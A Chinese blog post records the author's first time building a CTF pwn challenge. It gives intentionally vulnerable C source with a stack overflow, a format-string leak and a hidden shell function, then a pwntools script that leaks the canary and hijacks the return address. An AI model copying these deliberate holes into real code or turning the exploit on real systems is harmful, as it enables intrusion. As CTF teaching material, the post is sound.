第一次CTF出题记录

第一次CTF出题记录

0x01 前言


 之前玩这个都是做题(虽然基本上都是看别的大佬的wp),这次自己试着出了几道题目,有了一次不完整的出题经历我个人整理的出题思路大致如下:

0x02 Pwn题目分析


  • 写出含有漏洞的源代码
  • 选择编译方式
  • 自己编写漏洞利用思路和exp,得到flag
  • 总结

一开始打算自己试着出一点难一点的题目,但是自己写出来源代码编译后发现自己做不出来,最后做了到十分简单的栈溢出,源代码如下:

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
char enter_identity();
int identification();
void getshell(void);
void init();
void vuln();
int main()
{ 
    init();
    char *username;
    enter_identity(&username);
    identification(&username);
    puts("Hello Hacker!");
    vuln();
    return 0;
}
void init() 
{
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
}
char enter_identity(char *username)
{
    char src[40];
    puts("input yor username:");
    scanf("%40s",&src);
    for (int i=0;i<=39&&src[i];++i)
    {
        ++src[i];
    }
    return strcpy(username,src);
}
int identification(char *username)
{
    if(strcmp(username,"f4de"))
    {
        puts("who you are?");
        exit(1);
    }
    return puts("welcome!");
}
void vuln()
{
    char buf[0x20];
    for(int i=0;i<2;i++)
    {
        read(0, buf, 0x50);
        printf(buf);
    }
}
void get_shell(void)
{
    system("/bin/sh");
}

接下来简单说一下各个函数的作用:

init()——标准化输入输出

enter_identity(&username)——输入身份

identification(&username)——身份确认

vuln()——一个含有典型栈溢出漏洞的函数

编译时,我关闭了地址随机化

gcc pwn.c -o pwn -no-pie

自己写的exp如下:

# coding=utf-8
from pwn import *
context.log_level = 'debug'
p=process("./pwn")
#ip=""
#port=
#p=remote("ip",port)
elf=ELF("./pwn")
get_shell_addr = elf.sym['get_shell']
p.sendlineafter("input yor username:\n","e3cd")
payload='a'*0x20
p.sendlineafter("Hello Hacker!\n",payload)
p.recvuntil(payload)
canary= u32(p.recv(4))-0x0a
log.info("canary:"+hex(canary))
print(hex(canary))
payload='a'*0x20
payload+=p32(canary)
payload+='a'*12
payload+=p32(get_shell_addr)
p.sendline(payload)
p.interactive()

简单的栈溢出和绕过canary保护

0x03 总结


 这篇文章主要写了下本次出题的过程,总体来说难度很小,自己在出题过程中也遇到了不少的问题,自己做题和看wp做题差别很大。希望这次出题会对我带来一定的收获。

 

posted @ 2021-01-29 10:59  eur1ka  阅读(532)  评论(0)    收藏  举报